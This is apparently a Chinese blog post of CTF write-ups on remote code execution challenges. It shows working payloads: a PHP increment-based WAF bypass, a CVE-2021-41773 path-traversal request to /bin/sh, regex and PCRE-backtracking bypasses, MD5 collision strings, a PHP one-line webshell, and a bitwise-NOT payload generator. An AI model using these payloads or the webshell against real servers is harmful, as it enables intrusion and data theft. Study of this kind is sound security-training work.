https://blog.csdn.net/bossDDYY/article/details/127954538

禁了大量特殊符号。无字母数字rce的异或与取反都被ban了,可以写一个根据waf的正则输出合法字符的脚本

<?php
//自增rce
$pass='';
for($i=32;$i<127;$i++){
    if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
        $pass = $pass.chr($i);
    }
}
echo "当前能过waf的字符:".$pass."\n";
#当前能过waf的字符: $()+,.0123456789;=[]_{}

那么利用这些字符来进行rce,是自增型rce,但是限制了长度,所以要进行一些简化,来了解一下自增的过程

$_=[].'_'; //空数组拼接一个字符,会将空数组变成字符串Array
$__=$_[1];//$__是r
$_=$_[0];//$_这时是A
$_++;//$_这时是B,每++一次就是下一个字母
$_++;//C
$_0=$_;//把c给$_0
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_0.++$_.$__;//$_=CHr
$_='_'.$_(71).$_(69).$_(84);//$_='_'.CHR(71).CHR(69).CHR(84) -> $_=_GET
//$$_[1]($$_[2]);//$_GET[1]($_GET[2])
echo $_;
#_GET

payload:

//整理成一行并且在浏览器中传参的形式:
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

在这里插入图片描述

成功rce
在这里插入图片描述

在这里插入图片描述
得到flag
还有一下相关的题目,参考文章:
https://blog.csdn.net/bossDDYY/article/details/127954538

[NSSRound#4 SWPU]ez_rce(CVE-2021-41773漏洞)

打开界面
在这里插入图片描述
查看源码
在这里插入图片描述
没有提示

用bp抓个包,看看
在这里插入图片描述
也没有任何提示,那就是可能要我们自己去看了,有什么方法呢?
1、源码泄露
2、目录扫描

在等待目录扫描的时候,同时尝试常见的源码泄露,www.zip .git .svn等常见的源码泄露,没有结果

目录扫描的结果

┌──(test㉿kali)-[~]
└─$ dirsearch -u http://node4.anna.nssctf.cn:28013/                                    

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/test/.dirsearch/reports/node4.anna.nssctf.cn-28013/-_24-01-25_13-46-12.txt

Error Log: /home/test/.dirsearch/logs/errors-24-01-25_13-46-12.log

Target: http://node4.anna.nssctf.cn:28013/

[13:46:12] Starting: 
[13:46:13] 403 -  199B  - /%2e%2e//google.com                              
[13:47:17] 403 -  199B  - /cgi-bin/                                         
[13:47:17] 500 -  528B  - /cgi-bin/test-cgi                                 
[13:47:33] 200 -   45B  - /index.html    

扫出了两个比较可以的目录,可是403状态码

通过题目的标签提示,是CVE-2021-41773漏洞
具体参考文章:
https://blog.csdn.net/qq_59975439/article/details/125225949

使用hackbar随便post一个值,目的是post传参,bp好抓包

在这里插入图片描述
在这里插入图片描述

包头修改

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1

在这里插入图片描述
可以看到成功执行了我们想要执行的命令

查看一下
在这里插入图片描述

没有回显

原来这个flag_is_here是一个目录

在这里插入图片描述
可是这么多,总不可能一个一个来找吧,应该有什么便捷的地方
回到刚才查看根目录的地方,可以看到有个run.sh,一般根目录是没有这个东西,可以去看一下

在这里插入图片描述
得到flag的位置,查看,得到flag
在这里插入图片描述

[FBCTF 2019]rceservice

打开界面
在这里插入图片描述
查看源代码没有什么提示

随便输入点,输入数字的时候
在这里插入图片描述

输入字母的时候
在这里插入图片描述

现在就按照题目的要求来,json格式进行传输命令

ls   ⇒     {"cmd":"ls"}
因为单引号这里过滤了,所以得要用双引号

执行结果
在这里插入图片描述
想cat一下,查看源代码的时候,发现被ban了

.   *  ?

都过滤了,所以读不出来了的,然后去看别的师傅做的wp的时候,发现都得是要有源码的,可能是当时比赛的时候是有提供的

<html>
  <body>
    <h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

    <form>
      Enter command as JSON:
      <input name="cmd" />
    </form>
  </body>
</html>


看到源码后,发现这个preg_match过滤很多东西,丢给gpt分析一下:

这个正则表达式用于检查 $json 变量是否包含特定的关键字,这些关键字是一些与 shell 命令相关的单词。如果匹配成功,表明 $json 中包含可能是危险的 shell 命令,进而执行了一些防御措施。

让我们解释一下这个正则表达式的不同部分:

^: 匹配字符串的开始。
.*: 匹配任意字符(除了换行符)零次或多次。
(alias|bg|bind|...|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-|~\x7F]+): 这是一个大的分组,包含一系列关键字,以及一个字符类([\x00-\x1FA-Z0-9!#-/;-@[-|~\x7F]+)。
关键字之间使用 | 进行分隔,表示匹配其中任何一个。
字符类表示匹配任意字符,但排除了特定范围内的字符,这个范围包括 \x00-\x1F 和一些特殊字符。
.*$: 匹配任意字符(除了换行符)零次或多次,直到字符串的结束。

看完后,觉得最后这个可能是突破口,虽然这个正则匹配得很严格,但是遗漏了换行符,我们知道在ctf中因为换行符而导致的逻辑绕过可是很多的,往往有着重要的作用。

.*$: 匹配任意字符(除了换行符)零次或多次,直到字符串的结束。

在正则表达式中,/s 是一个修饰符,它表示 “single line” 模式。在 PHP 中,它会影响到元字符 . 的匹配行为。

默认情况下,. 匹配除了换行符(\n)之外的任何字符。但当使用 /s 修饰符时,. 也将匹配换行符。

综合一下上面的分析就是,只要在前后都加上换行符就可以绕过了

{"cmd":"cat index.php"}

沃趣,试了半天都没有回显,这个cat居然没有加到环境变量里面去,要自己 改为/bin/cat ,注意要用bp进行抓包改,因为%0a会被二次编码

putenv('PATH=/home/rceservice/jail');

这行 PHP 代码使用 putenv 函数将环境变量 PATH 的值设置为 /home/rceservice/jail。putenv 函数在 PHP 中用于设置环境变量的值。在这个例子中,设置 PATH 环境变量的目的可能是为了影响系统上的命令执行,使其在指定的路径中寻找可执行文件。

在此种情况下,将 PATH 设置为 /home/rceservice/jail 可能是一种沙盒化(sandboxing)措施,目的是限制在该 PHP 脚本中执行的外部命令只能访问指定的路径。

putenv('PATH=/home/rceservice/jail')已经修改了环境变量,我们只能用绝对路径来调用系统命令

cat命令在/bin中保存

在这里插入图片描述
结果出来了,接下来就是找到flag的位置并且读取它
ls /没有flag
在这里插入图片描述
上一级目录也没有什么
在这里插入图片描述
那就看一下path里面的内容,肯定不能乱找的
得到flag的位置
在这里插入图片描述
得到flag
在这里插入图片描述

第二种方法,利用回溯绕过正则函数

可以发现在头尾处匹配了.,而且没有用s来修饰,所以不包括换行符号%0a,有关修饰符的点可以自行查阅php手册,既可以使用%0a绕过正则,也可以使用PCRE回溯次数绕过。

因为原题是post传参,这里改为了get传参,所以这种方法就行不通了,会报错

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

复现参考文章:
https://www.cnblogs.com/gaonuoqi/p/12455159.html

[UUCTF 2022 新生赛]ezrce(思路很sao,可是复现不出来了)

打开界面
在这里插入图片描述
随便输入点
尝试 ls
命令执失败
在这里插入图片描述

尝试pwd
命令执行成功
在这里插入图片描述
尝试whoami
命令也执行成功
在这里插入图片描述
也就是大概可以知道命令执行成功的时候,都是在/tmp目录下执行成功的(没有回显)
直接访问tmp目录,又是403
在这里插入图片描述
尝试可不可以写个文件
在这里插入图片描述
回显
在这里插入图片描述
看来还有命令长度限制

感觉没有什么思路

看了网上的wp:

    >nl

    执行后,会创建名为 nl 的文件,内容为空
    * /*>d

    意思就是 nl /*>f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数 即 nl /*>d

思路真的太妙了,可是这道题复现不出来了,不知道为什么。

参考文章:
https://blog.csdn.net/weixin_63231007/article/details/128046320

[NSSRound#V Team]PYRCE(flask框架的特性+访问下载文件)

打开环境
在这里插入图片描述

看来是python的flask框架
这样子看得不舒服,查看源代码看得舒服点
在这里插入图片描述

from flask import Flask, request, make_response
import uuid
import os

# flag in /flag
app = Flask(__name__)

def waf(rce):
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
    for black in black_list:
        if black in rce:
            return False
    return True

@app.route('/', methods=['GET'])
def index():
    if request.args.get("Ňśś"):
        nss = request.args.get("Ňśś")
        if waf(nss):
            os.popen(nss) #命令执行
        else:
            return "waf"
    return "/source"


@app.route('/source', methods=['GET'])
def source():
    src = open("app.py", 'rb').read()
    return src

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8080)

在 Linux 命令执行中,$() 是一种命令替换的语法。它允许将一个命令的输出作为一个字符串嵌入到另一个命令中。

具体来说,$(command) 会执行 command 中的命令,并将其输出作为字符串嵌入到外部命令中。这个语法可以替代传统的反引号 ``(backticks)来实现命令替换。

例如:

current_date=$(date)
echo "Today's date is $current_date"
在这个例子中,$(date) 会执行 date 命令,并将其输出(当前日期和时间)作为字符串赋值给 current_date 变量,然后该变量被嵌入到 echo 命令中进行打印。

这种方式使得在命令行中方便地获取和使用其他命令的输出,使得命令组合更加灵活。这对于编写脚本和自动化任务特别有用。

这里禁用了 / 可是flag又在/flag,所以得要想如何从其他地方替换直接使用这个 /
参考文章:
https://blog.csdn.net/m0_60716947/article/details/127731956

ubuntu@VM-8-14-ubuntu:/$ cd ..&&cd ..&&cd ..&&cd ..&&pwd
/
ubuntu@VM-8-14-ubuntu:/$ 

利用pwd可以获取到 / 目录

为了在shell中执行我们要加上 $()

已知是一个flask框架,其静态文件都在static中,可以直接访问获取

这里可以先试试 mkdir static 创建一个静态访问的文档

接着使用 cd … 放回上一级目录,使用 cp 命令将 flag移动到static目录中,然后在把flag为压缩包,访问直接下载

其中空格用%09来绕过。

http://IP/?Ňśś=mkdir%09static
 
http://IP/?Ňśś=tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
 
http://IP/static/flag.tar.gz

在这里插入图片描述
得到flag
在这里插入图片描述

[NSSRound#16 Basic]RCE但是没有完全RCE(md5后相等绕过+正则方法查看文件)

 <?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
}
来做做熟悉的MD5~

因为这里用了string进行强制字符串转换,所以用不了数组进行绕过了
在这里插入图片描述
因为是强相等,又不能用数组进行绕过就只能是md5加密后的值还是相等的md5碰撞了

参考文章:
https://blog.csdn.net/LYJ20010728/article/details/116779357

二进制md5加密 ecd33e3e09ff2a58e1d9ed7189dc186b
url编码 abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92
二进制md5加密 ecd33e3e09ff2a58e1d9ed7189dc186b
url编码 abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92

使用bp发包
在这里插入图片描述

成功绕过

对下面这个只要有传参就可以了
在这里插入图片描述

访问3z_RC3.php

在这里插入图片描述

 <?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
    die("Hacker!!!!!!!!");
}
eval($shell($cmd)); 

这样过滤了flag的每个字符,也过滤了通配符,这样应该是直接看是不行得了,像这样可以反弹shell,或者变量换元,或者重新写入一个后门文件

先尝试一下可不可以写入文件
在这里插入图片描述

然后尝试写入一句话,

/3z_RC3.php?cmd=echo '<?php eval($_POST[1]);?>' >./1.php

不行,包含字符a和问号?

ls也不行,那怎么查看根目录
dir好像是windows和linux通用的,不过使用方法不太一样
在这里插入图片描述
但是dir出来的排序结果和ls的不一样
在这里插入图片描述

3z_RC3.php?cmd=more /[e-h][k-m][9-b][c-h] >./1.php

在这里插入图片描述


在 Linux 中,more /[e-h][k-m][0-b][e-h] 是一个使用正则表达式的文件查看命令。让我们分解这个命令:

more: 一个用于逐屏查看文件内容的命令。
/: 表示根目录,开始文件路径。
[e-h]: 匹配字符范围,包括从 'e' 到 'h' 的任何一个字符。
[k-m]: 匹配字符范围,包括从 'k' 到 'm' 的任何一个字符。
[0-b]: 匹配字符范围,包括从 '0' 到 'b' 的任何一个字符。请注意,这里 'b' 按照 ASCII 码顺序是紧跟在 '0' 之后的,所以它包括 '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '='。
[e-h]: 匹配字符范围,包括从 'e' 到 'h' 的任何一个字符。
综合起来,这个命令是在根目录下查看文件名符合指定正则表达式模式的文件内容。具体的文件名匹配规则由 [e-h][k-m][0-b][e-h] 指定,其中每个 [...] 表示一个字符位置,可以匹配范围内的任意字符。

得到flag
在这里插入图片描述

参考文章:
https://www.cnblogs.com/AllFalls/p/17972192

Vulfocus log4j2-rce靶机

在这里插入图片描述
点击后
在这里插入图片描述
自动跳转,观察url特点
在这里插入图片描述

这里做不出来,看了别人的复现文章觉得太复杂了,先放一放先。

参考文章:
https://blog.csdn.net/woai_zhongguo/article/details/125766913
https://blog.csdn.net/weixin_42773448/article/details/125026565

[极客大挑战 2020]rceme(结合函数,ua头命令注入)

查看源代码码,发现提示
在这里插入图片描述
下载后,直接是打不开的
![在这里在这里插入图片描述

在这里插入图片描述

在kali中使用,
vim -r index.php.swp

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

    if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
        die('<script>alert(\'Captcha error~\');history.back()</script>');
    }
    $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
    $code = $_POST['cmd'];
    if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Longlone not like you~\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
}
?>

代码审计一下
我们传入的cmd不能包含字母和数字,无参rce
同时函数还得是无参的

参考文章:

https://xz.aliyun.com/t/9360?time__1311=n4%2BxuDgD9DyiGQYDQNDsR3hoaI5xAIX5PDCeD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DIQpQeQk4_Y1zgpS7Oz4rIkdd1jNLP-Lm3uZv0MuE3dj3cq4q7cwh6MQ7upcEonNz%26wd%3D%26eqid%3D9d8636b201b7f6540000000665b465c7#toc-3

getallheaders() 获取所有的http请求头;
next() :将内部指针指向数组中的下一个元素,并输出

发现,取反字符没有被检测,采用取反绕过
参考文章:
https://blog.csdn.net/qq_74240553/article/details/135848558
https://blog.csdn.net/m0_73512445/article/details/134922142

php脚本
在这里插入图片描述

python脚本的取反绕过

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

在这里插入图片描述

然后用md5脚本进行爆破code出来,在页面抓包,用bp拦截,修改cmd命令

md5碰撞脚本

import hashlib
def crack(pre):
    for i in range(0,9999999):
        if (hashlib.md5(str(i).encode('utf-8')).hexdigest())[0:5]==str(pre):
            print(i)
            print(hashlib.md5(str(i)).hexdigest()[0:5])
            break

crack("e3f7c")

得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值